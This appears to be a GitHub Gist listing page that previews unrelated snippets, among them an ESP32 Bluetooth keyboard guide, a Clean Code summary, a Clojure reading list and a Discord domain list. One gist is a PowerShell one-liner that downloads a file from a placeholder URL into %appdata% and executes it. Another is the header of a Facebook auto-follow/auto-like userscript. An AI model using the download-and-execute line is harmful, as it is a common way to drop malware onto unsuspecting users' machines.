Skip to content

Instantly share code, notes, and snippets.

@manuelbl
manuelbl / README.md
Created August 3, 2019 09:12
ESP32 as Bluetooth Keyboard

ESP32 as Bluetooth Keyboard

With its built-in Bluetooth capabilities, the ESP32 can act as a Bluetooth keyboard. The below code is a minimal example of how to achieve it. It will generate the key strokes for a message whenever a button attached to the ESP32 is pressed.

For the example setup, a momentary button should be connected to pin 2 and to ground. Pin 2 will be configured as an input with pull-up.

In order to receive the message, add the ESP32 as a Bluetooth keyboard of your computer or mobile phone:

  1. Go to your computers/phones settings
  2. Ensure Bluetooth is turned on
@henriksb
henriksb / Powershell download and execute one-liner
Created October 26, 2018 20:01
Quick one-liner to download and execute any file
powershell -c "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'ENTER URL' -OutFile '%appdata%\a.exe'; %appdata%\a.exe"
@acutmore
acutmore / _web-framework-render-fns.md
Last active May 6, 2024 16:31
Comparing web framework render functions
@wojteklu
wojteklu / clean_code.md
Last active May 6, 2024 16:30
Summary of 'Clean code' by Robert C. Martin

Code is clean if it can be understood easily – by everyone on the team. Clean code can be read and enhanced by a developer other than its original author. With understandability comes readability, changeability, extensibility and maintainability.


General rules

  1. Follow standard conventions.
  2. Keep it simple stupid. Simpler is always better. Reduce complexity as much as possible.
  3. Boy scout rule. Leave the campground cleaner than you found it.
  4. Always find root cause. Always look for the root cause of a problem.

Design rules

# This supports merging as many adapters as you want.
# python merge_adapters.py --base_model_name_or_path <base_model> --peft_model_paths <adapter1> <adapter2> <adapter3> --output_dir <merged_model>
from transformers import AutoModelForCausalLM, AutoTokenizer
from peft import PeftModel
import torch
import os
import argparse
@rahulkangjam
rahulkangjam / gist:d061737c15fc58260d3f
Created November 4, 2014 06:53
New Facebook Auto Follower 2014 2015 Working Script For Greasemonkey
// ==UserScript==
// @name Facebook New Auto Follower 2014 + 2015
// @namespace Facebook AutoFollower + Auto Like
// @description Facebook AutoFollower Script For Greasemonkey
// @version 1.0.11
// @include https://*.facebook.com/*
// @include https://*.facebook.com/*/*
// @include http://*.facebook.com/*
// @include http://*.facebook.com/*/*
// ==/UserScript==
@ssrihari
ssrihari / clojure-learning-list.md
Last active May 6, 2024 16:25
An opinionated list of excellent Clojure learning materials

An opinionated list of excellent Clojure learning materials

These resources (articles, books, and videos) are useful when you're starting to learn the language, or when you're learning a specific part of the language. This an opinionated list, no doubt. I've compiled this list from writing and teaching Clojure over the last 10 years.

  • 🔴 Mandatory (for both beginners and intermediates)
  • 🟩 For beginners
  • 🟨 For intermediates

Table of contents

  1. Getting into the language
@GodderE2D
GodderE2D / discord_official_domains.md
Created September 7, 2021 09:48
List of Discord Official Web Domains

Discord Official Web Domains

Listed below are the web domains that Discord currently own. If you see a link sending you to a domain that claims is a "Discord owned website", check if it is one of the below domain names! If it's not, assume it's a scam and report it.

Note: This is not an exhaustive list, there may be some missing domains that Discord owns, but there are no domains listed here that aren't owned by Discord.

@nosmall
nosmall / Win_Server_2022_Evaluation_to_full_version.md
Created April 16, 2023 11:11
Upgrade Windows Server 2022 Evaluation (Eval) to Full Version Standard or Datacenter